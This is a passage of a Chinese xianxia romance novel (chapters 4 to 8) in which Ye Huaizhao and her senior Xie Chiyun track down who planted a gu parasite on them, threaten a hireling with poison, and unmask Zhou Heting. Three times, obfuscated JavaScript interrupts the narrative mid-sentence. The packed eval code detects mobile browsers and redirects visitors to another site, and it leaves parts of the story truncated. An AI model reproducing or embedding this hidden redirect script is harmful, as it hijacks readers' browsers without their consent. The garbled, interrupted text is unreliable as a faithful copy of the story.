如果谢迟云没有以身饲蛊接下另外那只双生蛊,她必死无疑。 想到这里,叶怀昭反而轻松了。 既然是要针对她,那就好说了。反正她的仇人多的是,也不怕这一个,挨个找去报仇便是。 她想了想,看向谢迟云:“师兄,我记得你刚刚和那个蒙面的人交手了,你觉得那个人实力如何?” 谢迟云道:“从实力上不如我,但很擅逃跑。灵力纯度不够,多半根骨不佳,是个很普通的修士。” 他其实也只与那人交手一招而已,但对他这类对灵力操控炉火纯青的人而言,只一招便能看出很多东西。 叶怀昭又问:“他身上有魔气吗?” 这句话问得谢迟云微微一顿,看着她的眼神幽深了几瞬。 叶怀昭对他眨眨眼睛。 虽说人魔两族划界分治,可近些年来魔界那位尊主可是野心勃勃,很不安分。有些魔族会越过边界,在人界肆意屠杀。 不仅是她的师长们,就连叶怀昭自己也亲自斩杀过不少作恶多端的魔族,也遭到过很多魔族的报复。 比如让她直接卧病一年、心神受损的重伤便是魔族所为。 他们如果听说她身体恢复了,说不定真的会再次派人来暗杀她。 在她的注视下,男人轻轻摇头:“没有。” 他忽地向山下望了一眼,再抬头时声音温和道:“虽然方才让他跑了,但我在他的身上留下了一缕灵力。无论他是生是死,我都能找到他。” 叶怀昭精神一振。 她本来想自己留灵力追踪的,但被蛊虫打断了,没想到谢迟云虽然生了一副菩萨面,心机城府倒是不少,脑子好使。 她兴奋说:“好,那我们现在就去抓他!” 谢迟云自然没有异议。 但是正当两个人要出秘境时,站在他身旁的少女忽然又轻轻拽了一下他的衣袖。 谢迟云回头,看到叶怀昭双手背后,看天看地就是不敢看他,耳垂脖颈一路泛红,浓密卷翘的眼睫颤抖。 她强撑着,故作冷静稳重说:“对不起师兄,把你也牵扯进来了。” 就算叶怀昭脸皮再厚,也不能昧着良心说谢迟云身中蛊毒和她半毛钱关系也没有。 如果不是她想给他一个教训,谢迟云也不至于跟着她来枯荣山,也不至于为了救她而以身饲蛊。 虽然他可能还是讨厌她,但是至少经此一遭,叶怀昭的愧疚已经完全冲散了她对谢迟云一半的讨厌。 她背在身后的双手无意识地绞着,经过莫大的心里挣扎,终于抬起了头。 虽然目光还是有些飘忽不定,非常心虚,但至少敢于和温和微笑的男人对视了。 叶怀昭狠狠心,认真说:“师兄,算我欠你一份人情。你可以对我提一个要求,只要我可以做到,任何事情我都会为你完成。” 此时灯盏黯去,火光飘散。 漆黑的夜幕下,男人的神色表情晦暗,难以分辨。 但叶怀昭却看到他慢慢牵起唇角,轻声慢语说:“任何?” 他的尾音被广袤的黑暗吞没,只留下一点缱绻柔和的音调,飘到叶怀昭薄红的耳垂,在冷风中让她颤了颤身子。 5. 第五章 叶怀昭和谢迟云从丹河秘境出来时,已经是深夜。 趁着秘境开启售卖各种法器丹药的商人早已收摊走人,满山的积雪映着明月微光,天地间一片澄明。 骤然从温暖如春进入严寒,带着凌冽寒意的风卷着枯叶吹来,叶怀昭捂着鼻子打了个喷嚏。 她吸了吸鼻子,随手给自己和师兄加了一道四运循转术,听到庄丹雪愤怒的声音自不远处响起。 “叶!怀!昭!” 她一边向这边走,一边挣开试图拦住她说“大小姐,算了吧”的同门,右手展开,闪烁着寒意的长剑顿时出鞘,直指看似毫无防备刚出秘境的少女。 叶怀昭头也没回,一柄流淌着金色碎光的长剑凭空而出,在千钧一发之际与庄丹雪的长剑相撞。 金色的碎光与闪烁着幽幽冷光的剑身相撞,硬生生将其在半空中拦下,发出一道极其刺耳的刺啦声,响声中饱含的灵力让所有朝她逼近的人同时心神一震,灵力流动滞涩。 五音之术-徵音。 庄丹雪的脸色微沉。 和叶怀昭斗了这么久,虽然她不是医修,但医修的种种术法她可是领教了个遍。 将毒素或灵力融入声音乃是破了天罡境的医修才能掌握的术法,明明一年之前她和叶怀昭交手时她还做不到,难道她的修为在这一年中又精进了? 但她那一年不是重伤在床、心神破碎,差点连爹都不认识了吗?哪来的时间和精力修炼。 留在丹河秘境出口没走的人不止庄丹雪一个,有些眼力的修士都看出了那轻飘飘的一招背后代表的含义,看向红裙少女的目光越发意味深长。 被所有人注视的少女却不见异样,她只是揉了揉自己的耳朵,看向庄丹雪。 “原来是丹雪姐姐,怎么丹雪姐姐还没走,留在这里恭喜我在秘境中活到了最后吗?”叶怀昭笑眯眯说。 她伸出手,闪烁着金色流光的听白剑温顺地回到她的手中,旋即化作一件点缀着金色暗纹的缠丝银镯缠绕在她的右手腕上。 站在她旁边的谢迟云饶有兴趣地看着她阴阳怪气。 庄丹雪冷冷盯着她:“叶怀昭,别以为你耍花招把我淘汰出局就是赢过我了,等问道大会我要你好看!” “好啊,那我到时候一定好好让丹雪姐姐感受一下台下的空气,”叶怀昭状似不经意道,“希望这期间丹雪姐姐不会觉得打不过所以就给我画毒咒下蛊毒。” 庄丹雪嗤道:“我给你下?是你自己觉得打不过所以准备给我下吧。” 叶怀昭耸肩:“我都会剑术,丹雪姐姐怎么就不能为了我去学巫蛊呢?” 叶怀昭知道庄丹雪是剑修,平日里和她打架时也没见过她用蛊毒,秘境中针对她的蛊虫应该不是庄丹雪所为。 但这并不妨碍她开口试探一下。 目的达到,她也懒得再和庄丹雪拌嘴,当做没看见她一样对谢迟云道:“走吧,师兄。” 直到此时庄丹雪才看到站在叶怀昭身边的谢迟云。 他怎么忽然出现在这里? 因为太过震惊,庄丹雪难得一次没有及时反驳叶怀昭的话,盯着两人离开的背影深思。 青冥台的弟子小心翼翼凑过来:“庄师姐,客栈那边已经清理好了,您看……” 庄丹雪回过神来,拧眉看向他:“你不是说长风门的乘玉仙君一直在外降妖除魔、游历天下么,他怎么忽然有空来陪他师妹闯秘境了?” 被她问话的弟子挠了挠头,尴尬说:“呃……应该是叶掌门为了保护自己女儿,所以特意把乘玉仙君叫回来的吧。” 谁知道他怎么忽然来丹河秘境的,听说他在秘境开启的第六日还留在长风门亲自处罚了一个内门弟子,甚至差点越过掌门直接把那弟子逐出门派,不到三天的时间就跨越南北数千里来了丹河秘境。 真是精力旺盛啊。 - 精力旺盛的乘玉仙君正跟着他的师妹在干坏事。 深夜的石清镇寂静无声,冬日寒风呼啸而过,卷起屋檐前悬挂的灯笼。 一只漆黑的乌鸦煽动着翅膀,缓缓落到破败的高墙上,歪着头用红色的眼珠观察着庭院中的几人。 一道凄厉的声音划破夜色的寂静。 “仙君,仙君我错了!!!”跪在地上的黑衣男人痛哭流涕,“但我真不知道二位身上的蛊虫是什么啊!” 乌鸦似是被惊吓到了一样抖了抖羽毛,极细微的波动,却让庭院中袖手站在少女身旁的男人敏锐地抬起眼眸。 明月皎洁清冷的光落到他的眉梢眼角,勾出清俊柔和的五官样貌。可当他凝眸时,浅色的眼珠却恍若剔透而难以融化的寒冰。 谢迟云淡淡瞥了一眼墙边的乌鸦,手指微动,银色的流光不易察觉地横空而出,穿过鸟类的脖颈将其钉在庭院外的树干上,留下两道殷红的血痕。 不可视的隔音阵法悄无声息地合拢。 叶怀昭环胸抱臂站着,明艳的脸上扯出一抹冷笑:“不知道?不知道你怎么会恰好出现在山顶?不知道你为什么方才一见我们就跑?” 黑衣男人被她的术法困在地上,远超他数倍的灵力威压毫不留情地压在他的肩头,让他只能以一种扭曲怪异的姿势跪在地上。 听到叶怀昭的话,他惨叫着说:“仙君,我什么都不知道啊,只是有人把那个蛊虫交给我,让我守在枯荣山上放出来,事成之后给我一大笔钱——其他的我真的一概不知啊!” 谢迟云温声开口说:“既然如此,那就将和你交易的人姓名身份样貌告知我们,师妹心地善良,不会为难你的。” 黑衣男人目光闪烁,依旧哭丧着脸说:“我和他见面时他蒙着脸,我也不知道他的身份。” 叶怀昭挑眉,没说信与不信,而是翻手拿出一个晶莹剔透的玉瓶,打开塞子蹲在他的面前。 “知道这是什么吗?”她语气一转,忽地温柔问道。 黑衣男人喉结滚动,汗液一点一点沿着他的额角滚落,他却连手都不敢抬。 他结结巴巴说:“不,不知道。” 面前的少女便笑了。 她生得眉眼灵动,五官秀美,笑起来格外甜美,可说出的话却宛如淬了毒一般残忍。 “这叫断魂散。”她晃了晃瓶子,内里透明的液体随之摇动,“每过一瞬,你就会失去一种五感,当五感完全失去之时,它便会取走你的性命。” 眉眼弯弯的少女贴近他,轻声说:“不过,如果你运气不好,死亡也会在完全失去五感前提前降临。” “上一个被我灌下这瓶毒药的人运气不太好,才刚失去了视觉便被夺去了性命。”叶怀昭将瓶子贴近他的唇边,问他,“你想试试自己的运气吗?” 谢迟云适时又问了一遍:“和你交易的人是谁?” “……” 黑衣男人喉结滚动,眼中满是红血丝,哽咽一瞬后,说:“我真的不知道。” 他张张嘴,正想要开口解释什么,就见面前似乎脾气温和的男人轻声说:“那就没办法了,送他上路吧师妹。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15575508|171559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黑衣男人:“?!” 他咕咚咕咚被叶怀昭强按着喝下瓶中液体,只觉一股寒流从口腔穿过喉咙直抵胃部,瞬间带来火烧般的疼痛。 叶怀昭伸出一根手指:“一。” 他的眼前一黑,视觉慢慢剥离。 黑衣男人终于慌了:“仙君、仙君!我真的不知道啊!!” 叶怀昭不为所动,撑着下巴伸了另一根手指:“二。” 嗅觉消失。 黑衣男人尽全力挣扎,摸索着痛哭流涕地扑到少女的面前试图拽着她的裙角,被她嫌恶地一脚踢开,第三根手指伸出:“三。” 庭院中的声音渐渐变小,直至无声。 在黑暗与死寂中,黑衣男人看不见她的神色,也听不到她倒计时的声音。 他像是失去了第四感,似乎又没有。像是有一只无形的大手攥住了他的心脏,它缓慢地收紧,不知何时就会捏爆。 未知带来的莫大恐惧悬于他的心头,终于完全将他击溃。 叶怀昭正要继续伸出第四根手指,听到男人凄厉的叫声:“他说过、他说过今日丑时会给我报酬!” 她的动作顿住了。 而后,黑衣男人死寂的世界中忽地响起几声银环相撞的脆响,在泪眼模糊慢慢亮起的视野中,他看到了柔和甜蜜的微笑。 少女单手托腮,用撑着脸庞的右手食指有一搭没一搭地点着自己的脸庞,这是她心情不错时的动作。 叶怀昭轻哼一声,嘟囔一句:“早这样不就好了。” 数到五还不说实话,她可就要把他打晕扔回去了。 两人把黑衣男人放回家,蹲在阴影处等着那个神秘人出现。 夜幕之中淡色云层变幻莫测地翻涌,寒风卷过,薄纱般的云彩遮蔽明月,枝叶上泛着清冷光晕的白雪坠落在叶怀昭的面前。 她盯着雪层看了几眼,又忍不住转头去看安静等待的谢迟云。 这个人可真是奇怪。 叶怀昭心想,怎么会有人面对不计代价的人情,请求她“在修真界好好修炼,不要到处乱跑”呢? 太奇怪了,他真的是她记忆中的死对头吗? 他真的像是衡远师弟说的那样讨厌她吗? 如果讨厌她,又为什么提出这样的请求呢? 而且不知道是不是她的错觉,从谢迟云来到丹河秘境后,他对她的态度似乎就发生了一些变化。 和现在比起来,叶怀昭总有一种当初还在长风门时,谢迟云是是在故意惹她生气。 这又是为什么呢? 他们之前的关系到底是怎样的呢? 叶怀昭心中困惑。 她决定试探一下。 少女揪了一根草茎在手中转着玩,像是无意间说道:“谢师兄,你应该知道我之前因为受伤所以卧病一年吧。” 谢迟云闻言侧首,用温和的目光望着她:“我知道。师妹的身体现在如何了?” 叶怀昭没有看他,而是望向屋檐下随风摇晃的灯笼。 “有我师尊的药,那些伤口自然是早就痊愈了,身体没有大碍。”她语气平静说,“只是师尊说我的心神受损,需要慢慢温养。在这之前,我十六岁前那些记忆可能会记不起来。” 少女将目光从灯笼上移开,落到旁边垂眸看着她的男人身上。 她犹豫了一瞬,还是向前走近一步,在骤然逼近的清浅檀木香中,仰头轻声问道:“师兄,我之前和你关系如何?” 你和我,真的是关系不好的死对头吗? 6. 第六章 他们的藏身之处是一片茂密的竹林。 枝叶悬坠着白雪,斑驳的竹影摇晃着落到身形挺拔的男人身上,那双沉静的浅色眼瞳映着叶怀昭悬浮于身旁的点点火光。 他听到了她的问题。 在她一瞬不肯错过的目光中,谢池云缓慢地叹息一声。 他说:“师妹认为,我与你关系如何呢?” 他将问题抛了回来。 叶怀昭蹙眉:“我不知道,我不记得了。” 当她回忆起谢迟云,只能看到朦朦胧胧的身影。那些无数个熟悉或陌生的脸交叠在一起望着她,嘈杂的声音宛如潮水一般将她淹没。 她难以忍受地揉了揉太阳穴,在突突跳动的疼痛中听到他说:“既然想不起来,那即便我说了,师妹也不会相信,倒不如师妹自己慢慢想起。” 叶怀昭心道有理,比如她之前就相信衡远师弟说谢迟云非常非常讨厌她,但是现在看来师弟可能夸大了事实。 但是嘴上她还是道:“你先说,信不信是我的事情。” 谢迟云望了她几瞬,忽地毫无征兆地微微俯身。 属于他的清淡檀木香顿时铺天盖地地笼罩毫无防备的叶怀昭,她睁圆了眼眸,望着那颗鲜红的朱砂痣越来越接近,最终悬停于她的面前。 在那双剔透的眼眸中,她看到了自己僵硬的缩影。 谢迟云看着自己面前像是被抓住了尾巴的猫咪一样僵直在原地的少女,无声地笑了一下。 他抬起手,摘下了少女发间的竹叶,捏着它转了一圈,笑眯眯说: “是这样的关系。” 叶怀昭:“……” 是“这样”,到底是哪样啊?! 叶怀昭差点一口气没上来,她脸上的神情一瞬万变,拧着眉抓住他的衣袖:“什么关系?摘树叶的关系吗?你说清楚啊师兄!” 谢迟云任由她抓着衣袖,却没回答她的问题,而是看向安静的宅院。 “有人来了。” 一个将全身罩在玄色袍子的人推开紧闭的大门,迈步走了进去。 叶怀昭的注意力率先被他身上那件兜帽斗篷吸引了。 她手里还攥着谢迟云的衣袖,倒吸了一口凉气,小声说:“哇,那是不是上阶法器‘夜行衣’?’” 夜行衣可屏蔽一切追踪术法,除非它的主人主动脱下或夜行衣被撕毁,只要披上便能自动改变容貌身形,堪称是杀人放火半夜干坏事的利器。 谢迟云说:“夜行衣有价无市,这个神秘人不仅有钱,估计也很有权势。” 两人对视一眼,不约而同地屏气凝声,隐匿身形率先翻进院中,在提前约好的地方蹲守。 叶怀昭聚精会神,专注观察着黑衣男人与那个神秘人的动静。 神秘人率先开口,此人的声音难分男女,嘶哑难听:“事情完成了?” 黑衣男人小心翼翼地看着他,点头哈腰:“完成了,他们两个人都中了蛊虫。” 神秘人从怀中拿出了一个沉甸甸的袋子,没有系紧的袋口露出一点闪亮的光彩,这是整整一袋的灵石。 黑衣男人贪婪的目光注视着袋子,正要抬手接过来,就听神秘人忽然问道:“你怎么知道他们中蛊虫了?” 黑衣男人呆愣了:“因为我亲眼看到了啊。” 两人对视一瞬。 神秘人暴怒:“蠢货!你以为让你下蛊的人是谁?!” 他下完蛊没跑就算了,竟然还敢留在原地看着? 他立刻意识到面前的男人估计早就暴露了,就算没有暴露,叶怀昭找上来也只是时间问题,当即心中一跳,转身就跑。 然而神秘人刚一抬脚,眼前的庭院便被一片花海吞噬,芬芳甜腻的花香飘散在空气中,神秘人脸色微沉地封住自己的嗅觉,迎面就是万千道闪烁着幽幽冷光的毒针袭来。 他咬牙,挥手放出一道巨大的阴阳八卦阵,八道符文飞速旋转,“艮”、“巽”两字亮起耀眼光芒。 一座巍峨的高山拔地而起,将万千道毒针拦下;花海之中凭空升起数道飓风,将柔软花瓣碾碎的同时神秘人的身形消失,幻境的边缘闪过扭曲的裂缝。 飓风碾碎一切,即将毁掉幻境的前一刻,半空中忽地响起一道少女的声音:“想跑?那可没那么容易。” 夜幕沉沉,一派阴翳。 而在云层翻涌间,却有一道银色游龙穿梭其中。 明月的光辉映照花海,神秘人脚步急刹停在幻境裂缝,看见神色温润的男人向他颔首示意,眼中带着歉意,启唇吐出两字: “震雷。” 雷声撼天动地,剑意凝成的闪电咆哮着落下,像是刀锋般划破夜幕,轻而易举地击溃巨山,带着撕碎一切的凶狠暴戾。 ——如果没有阻拦,这道剑意当真会让他重伤到只留最后一口气。 神秘人瞳孔骤然紧缩,在这命悬一线之际,他终于被逼迫着,甩出自己保命的符文。 “等等!” 来自无相宫无妄仙尊的磅礴灵力自撕碎的符文中倾泻而出,在最后一刻与谢迟云落下的剑意相撞,两相较量下,炸起强大的气流掀飞在场所有人。 姹紫嫣红的花海此时一片狼藉,泥土泛起,花瓣被尘土淹没。 叶怀昭落到自己被毁得不成样子的花海中,若有所思地瞥了一眼虚空中的那道灵力,才将视线挪到惊魂未定的神秘人身上。 她长长地“喔”了一声,瞬影移至神秘人面前,长剑出鞘划破他的伪装,盯着兜帽落下的少年。 “我还没找你算临时反水的账,你倒敢在这花钱买我命了?”叶怀昭似笑非笑,“胆子真大呀,周仙君。” 周鹤亭干巴巴地笑了两声:“误会,都是误会。” “误会?” 叶怀昭冷笑一声,锋利的剑尖瞬间划破少年的脖颈,留下一道长长血痕:“你还有脸给我说误会?是误会的话你为什么转身就跑?你是不是做贼心虚!” “叶姑娘!叶大小姐!我的姑奶奶您悠着点啊!”周鹤亭汗如雨下,生怕她气头上来了不管三七二十一就把他的脑袋割了,滑跪得非常迅速,“我错了,我真的错了!我上有老下有小全家就靠我一人养活,您想问什么我一定知无不言言无不尽!半点也不隐瞒!” 叶怀昭微眯着眼眸,率先问:“那个男人是你指使的?你让他把蛊虫下在我的身上?” 周鹤亭:“……是。” 眼见面前的少女秀眉一挑就要给他用毒,周鹤亭忙不迭地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那人的要求是把蛊虫下到叶怀昭和她的同伴身上,但现在叶怀昭的同伴就是他,难不成他还要给自己下蛊? 周鹤亭觉得不行。 于是,他偷偷又找了一个人——也就是叶怀昭和谢迟云抓到的黑衣男人——和他做了一个交易,让他带着蛊虫埋伏在枯荣山,等到周鹤亭自己和叶怀昭上山后,他就故意让蛊虫落到叶怀昭和那个黑衣男人身上。 反正把任务交给他的人也没说叶怀昭的同伴具体是谁,他就咬死了说那个黑衣男人就是叶怀昭的同伴又能怎样? 至于黑衣男人会不会反咬他一口——他的夜行衣可不是白买的,他自始至终都不会知道和他交易的人是谁。 周鹤亭觉得自己的计谋天衣无缝,大不了今后不在叶怀昭面前出现不就好了? “但是你没想到我根本没去枯荣山。”叶怀昭面无表情说,“你也没想到我师兄会来。” 要不是为了确认蛊虫有没有同时下到叶怀昭和谢迟云身上,周鹤亭根本不会再来找这个黑衣男人。 周鹤亭尴尬地抓了抓脸:“……我那时候对你动手,不是想和你抢夺东西,是想引你去枯荣山。” 就在这时,安静听他们说话的谢迟云忽然问道:“抢夺什么?” 叶怀昭:“……” 完蛋!忘记他还在这里了! 7. 第七章 周鹤亭不明所以,傻傻地就想说“当然是坎水剑意”,嘴边刚冒出一个“坎”的音节,就被旁边的少女一把掀翻在地上,茫然而无助地被她捂住了嘴。 “没什么,”叶怀昭强装镇定,“就是抢夺珍宝。” 谢迟云不知是信与不信,他没有什么情绪的眼神在叶怀昭捂住少年的手上转了一圈,而后淡淡说:“是么?” 叶怀昭猛点头,同时背地里掐了周鹤亭一把。 周鹤亭依旧茫然,不明白这对师兄妹到底在卖什么药,这两人之间的气氛在他看来怪怪的。 但他作为很早便挑起一家人生活大梁的靠谱成年人,非常有眼力劲地跟着点头:“嗯嗯,是这样。” 谢迟云看了他们几眼,问道:“你知道这蛊虫是什么吗?” 他没有过多追究,让紧张兮兮的叶怀昭松了一口气。她巴不得话题赶紧转移,立刻瞪向周鹤亭:“就是!你给我下的蛊虫到底是什么?” 周鹤亭看了她一眼,犹豫说:“嗯……我也不知道。” “你不知道?!”一听这话叶怀昭就火了,她瞪大眼睛,嘭地一拳揍了上去,骂道,“你不知道你就敢给我下?你真是要钱不要命,你知道我如果死了你根本就不可能全身而退吗?” 周鹤亭自知理亏,他根本不敢反击,只敢用灵力护住身体,但是就连这点灵力都被谢迟云瞥了一眼,而后抬指破开,被叶怀昭按在地上揍。 叶怀昭的师尊是五体不勤的颂慈仙尊,她因为自身的独特体质,自小就跟着他学习医术。 但这不代表她不会打架。 正相反的是,单论战斗力,她和以剑术闻名天下的庄丹雪不相上下。 周鹤亭在她的手底下就跟一个面团一样任她揉捏,发出阵阵惨叫。 等到叶怀昭打得手酸在揉手腕时,谢迟云才在周鹤亭期冀的目光中慢慢说:“师妹消气了吗?如果没有,我来替你打也可以。” 周鹤亭:“……” 救命啊!不是说长风门的乘玉仙君最是温和仁慈了吗?面前这个和他长得一样的恶鬼到底是谁啊! 眼见叶怀昭沉思一瞬,似乎真的在考虑他的话,周鹤亭终于崩溃大叫:“虽然我不知道这个蛊虫是什么,但它一定不是无药可救的毒蛊!” 两个人的目光同时挪到了他的身上。 叶怀昭上下打量着他,这一眼像是在评估什么商品一样,看得周鹤亭瑟瑟发抖,生怕她一个不高兴就把他的脑袋瓜再次暴揍一顿。 但是他脑中的那些悲惨未来没有发生,叶怀昭一反常态地给他递了一条手帕,堪称和颜悦色说道:“具体说说。” 周鹤亭受宠若惊地捏着那条手帕,但没敢拿它擦自己脸上的血迹。 周鹤亭回忆自己当初和情报贩子交易的场景。 他捧着匣子观察,顺口问:“这蛊虫应该不致命吧?要是害人的事我可不干。” 虽然周鹤亭为了生计不得不接些脏活累活补贴家用,但是他绝对不干杀人放火的事。要是被无相宫的仙尊们抓到了,那他可真就要被绑上断魂台大卸八块了。 情报贩子就笑:“当然不致命。” 他意味深长地说:“他可舍不得。” 听到他复述这件事的两个人神色各异。 叶怀昭心想,看样子这个情报贩子应该是知道蛊虫的事情,也知道真正想要对她下蛊虫的人是谁。 但是什么叫“舍不得”?难道养蛊之人很不想让她死? 既然是以她的血液灵力供养而生的蛊虫,那说明养蛊之人应该对她极为熟悉,可能是她认识的人。 她思索着开口:“这个情报贩子现在人在哪?” 周鹤亭:“我也不知道。” 叶怀昭骂道:“你怎么什么都不知道?要你还有什么用?” 周鹤亭无奈说:“大小姐,人家情报贩子的踪迹怎么能被我知道?从来都是他有活的时候来找我,我不知道他现在在哪里。” 线索断在了这里,叶怀昭依旧不甘心,她上前一步揪住少年的衣襟试图再逼问他,被旁边的谢迟云制止了。 “师妹,先回长风门吧。” 他一开口便是命令的语句,听得她眼皮一跳,转头看他:“师兄着急什么,明明只要找到那个情报贩子就有办法剥离蛊毒,为什么要这么快回去?” 站在月光下的男人垂眼注视着她,说:“找到他也需要花费时间,万一在这段时间中蛊毒恰好发作了呢?” 他停顿了一瞬,目光从被叶怀昭揪住的周鹤亭身上一扫而过,声音和缓说:“至少也要先回去让颂慈仙尊看一眼,若是仙尊有办法将蛊虫剥离,也省了我们再去寻找了。” 他的眼眸颜色很浅,相较于叶怀昭黑玉般的墨色,更偏向薄雾一般的灰色。 他注视叶怀昭时一贯是专注的,但当他这样浅浅地带过她身旁的周鹤亭时,那股日出前透彻而不能驱散的寒意,让周鹤亭几乎是不受控制地打了个寒颤。 叶怀昭在思考他的话,冷不丁地感受到手下的少年抖了抖,她一心二用,随口问:“你冷?” “……不,我一点也不冷。” 周鹤亭不动声色地从她的手中把自己解救出来,退后两步和她站得远远的,才觉得那道似有似无的注视消失了。 他的喉结滚动,小心翼翼说:“叶姑娘,我觉得乘玉仙君说得很有道理——当然,不是说您思虑不周的意思,只是您师兄的方法比较稳妥。” “您先同乘玉仙君回长风门,我帮您关注情报贩子的消息,只要他联系我,我立刻传音与您——您看这样如何?” 叶怀昭狐疑地看了看脸上挂着僵硬微笑的周鹤亭,又看了看等待他回答的谢迟云。 片刻后,她收剑入鞘。 “好吧,就按你说的来。” 叶怀昭将周鹤亭从幻境中放出去,对方一刻都不想多待,匆匆落下几句“之后联系”后,转身就拎着刚刚从地上爬起来、妄图逃跑的黑衣男人跑得没影了。 她捏着下巴,有几分困惑:“有那么吓人吗?” 谢迟云说:“他被你我掌握了把柄,当然会害怕。” 周鹤亭囊中羞涩,却能狠下心来去买有价无市的夜行衣,显然是极为害怕被人发现了自己的真实身份。 他淡声道:“不过,像他这样的人,如果被逼急了,或许也不是干不出杀人灭口的事情。师妹如果以后想用他做事,需要小心把握好尺度。” 叶怀昭抬头怪异地看了他一眼,她忍了忍,还是没忍住说:“师兄,这句话可以对我说吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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接着,她给自己身上落了一道隐匿符,拉开窗子,悄悄翻了出去。 - 庄丹雪觉得叶怀昭脑子有病。 哪个正常人干得出在大半夜的翻死对头的窗户,然后问自己和她师兄怎么样这种离谱事情的? “‘最了解你的人就是你的对手’,”叶怀昭挡在她的面前,振振有词说,“丹雪姐姐难道会不了解我吗?” 庄丹雪当然了解叶怀昭。 但是…… “我怎么会知道你的私生活如何?”面容英气明艳的少女翻了个白眼,“你觉得我很闲?” 叶怀昭:“那我换个问法,我之前来找你的那些时候,我师兄总是在我身旁吗?” 庄丹雪用指尖点着自己的剑鞘,瞥她一眼,屈尊降贵一般开口说:“十中有七八吧。” 没等叶怀昭说话,她又嘲讽地牵了牵唇角,冷哼一声道:“你问我这些问题,还不如回去问你那些师兄师姐师弟师妹——怎么,难道你觉得我的话比他们的可信度高?” 她打量着叶怀昭的表情,没在对方脸上发现什么被戳中弱点的异样,又兴致缺缺地收回目光。 她也同样在丹河秘境中待了九天,睡到一半被叶怀昭强行从床上叫起来,此时耐心已经到达了极点。 庄丹雪抬手划出一道灵力,不耐烦说:“看在你我多年认识的份上,我只提醒你一句话。” “谢迟云是你师兄,是你爹的大弟子。他和你亲近,可不一定代表你们关系好。” “你好自为之吧,叶大小姐。” 8. 第八章 叶怀昭做了一个梦。 在梦中,她看到一个扎着双环髻的少女在长风门的后山疯跑,身后跟着无可奈何的青衫少年。他的年龄大约与少女相仿,叫她“师姐”。 日头转到西山,穿着鹅黄色衣裙的少女终于玩累了,她趴在后山凉亭的长椅上休憩,黑白分明的眼珠盯着头顶肆意飞翔的鸟雀转动。 青衫少年一边皱着眉,数落着她怎么又不爱惜身体云云,一边将自己的外衣披在她的身上。 而少女揪着他的外衣衣角,却首先听到了后山外锣鼓喧天的声响。 她问:“外面怎么这么吵,是有人回来了吗?” 青衫少年说:“是大师兄回来了,这次能把为祸一方的大妖斩落,大师兄功不可没。估计是掌门在带人庆祝吧。” 少女的下巴垫在自己的手背上,她撑着栏杆,脸上的笑意却渐渐变淡了。 她轻微地撇了撇嘴,嘟囔说:“……我爹真喜欢他呀。” 叶怀昭终于醒了过来。 她坐了起来,脸上的神色怔松。 柔和的晨光透过薄薄的窗子落到盖在她身上的衾被上,少女伸出手,在阳光下注视着自己的手指。 这是一双养尊处优的手。 皮肤白皙,触感细腻,因为没有长久练过剑,于是就连薄薄的茧子也没有。 叶怀昭缓慢地握紧手指。 她想,庄丹雪说的没错。 比起不能继承自己衣钵的女儿,长风门的掌门可能更青睐及冠之岁,便已有“小剑圣”之名的大徒弟。 她曾经,或许真的不喜欢他。 - 因为那段忽然回想起来的记忆,在回长风门的路上,叶怀昭的心情一直不太好。 她很清楚自己小时候的性格。 如果她喜欢一个人,她绝不会吝啬于表达喜爱;相应的,如果她讨厌一个人,也绝不会委屈自己去和那人相处。 如果小时候的叶怀昭认为谢迟云的出现抢夺了阿爹的注意力,她绝对会幼稚地认为谢迟云是她的敌人。 而叶怀昭觉得谢迟云也不像是个会忍气吞声的人。 换句话说,至少在她脑子转过弯、不将谢迟云当做敌人前,他们两个人的关系估计真的很差。 没人想面对自己小时候不懂事时做出的那些糗事,想通这点,叶怀昭面对谢迟云时总有一种莫名其妙的心虚和尴尬。 就这样,虽说两人同在仙舟,可因为叶怀昭单方面的躲避心理,这三日中他们两人着实没有什么交流。 而在第三日的黄昏,刻有长风门宗徽的仙舟终于自北向南穿过云层,抵达了山水环绕的长风门。 仙舟慢慢自空中落下,在两座青山之间的狭窄河道中被灵力驱使着前进,伸手不见五指的云霭悄无声息地在河道中弥漫开来,仙舟罗盘上属于谢迟云的宗门令牌在散发着明亮光芒。 长风门拥有数千年的底蕴,门中出过不少羽化飞升的大能或掌管天下的仙首,及至现在依然是不少修士趋之若鹜的存在,乃是修真界三大仙门之一。 进山前的五里雾中乃是开山祖师亲自设下的阵法,若非携带门派独一无二的通山令牌,即便是魔尊亲临也走不出这条水道。 半柱香的时间转眼即逝,仙舟自两座青山之间驶出,叶怀昭抬起眼眸,看到三座在外界看不见的山峰拔地而起,灵力构成的灵桥在环绕半空。 长风门内分四宗,四位宗主分掌三峰一谷,以东云峰宗主叶珩为长风门掌门,主掌宗门事务。 数日未回长风门的叶怀昭没有去东云峰见自己的亲爹,而是先一步带着谢迟云去了与之截然相反的西翠谷。 重重水流自三座山峰顶部向下流淌,在灵气的作用下环绕着山体,钻过一处又一处的石桥、绕过一座又一座的石牌坊,瀑布飞流直下,在山脚形成终日笼罩着水汽的玉映池。 两侧天然的青树翠蔓蜿蜒曲折,松杉林突兀地生长于山脚湖泊旁,一路延伸,最终到达庭院宽阔的宫殿。 叶怀昭猛地推开宫殿大门:“师尊,我回来啦!” 这便是长风门四位宗主之一,素有“起死回生妙手”之称的颂慈仙尊闭关住处,西翠谷。 也是他如今唯一的亲传弟子叶怀昭自有记忆起,便长久生活的地方。 “回来了怎么也不着人来说一声。”时闻筝正站在晾晒草药的竹架边,听到小徒弟的声音眉毛也没抬,淡淡道。 